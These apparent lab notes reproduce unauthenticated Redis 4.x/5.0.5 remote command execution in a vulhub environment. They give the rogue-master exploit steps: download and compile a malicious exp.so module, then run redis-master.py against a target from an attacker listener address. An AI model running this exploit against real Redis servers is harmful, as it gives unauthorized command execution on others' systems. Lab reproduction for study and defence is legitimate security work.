Vulnerability reference:
https://vulhub.org/#/environments/redis/4-unacc/
https://github.com/vulhub/redis-rogue-getshell
Vulnerability principle:
Redis unauthorized access in 4.x/5.0. 5, we can use the master/slave mode to load remote modules and execute arbitrary commands through dynamic link libraries.
Download the exp code, compile it locally to generate the exp.so library file, and then configure the master-slave synchronization function through redis without authorization to modify the address of the master server to the address where exp.so is stored, and use the synchronization function to synchronize the exp.so link library to On the compromised host, call the system function to execute the command through exp.so.
Vulnerability reproduction:
docker-compose up -d
wget https://github.com/vulhub/redis-rogue-getshell/archive/master.zip
unzip master.zip
cd redis-rogue-getshell-master/
cd RedisModulesSDK/
make
python3 redis-master.py -r 10.12.140.222 -p 6379 -L 172.16.75.135 -P 8881 -f RedisModulesSDK/exp.so -c "ifconfig"
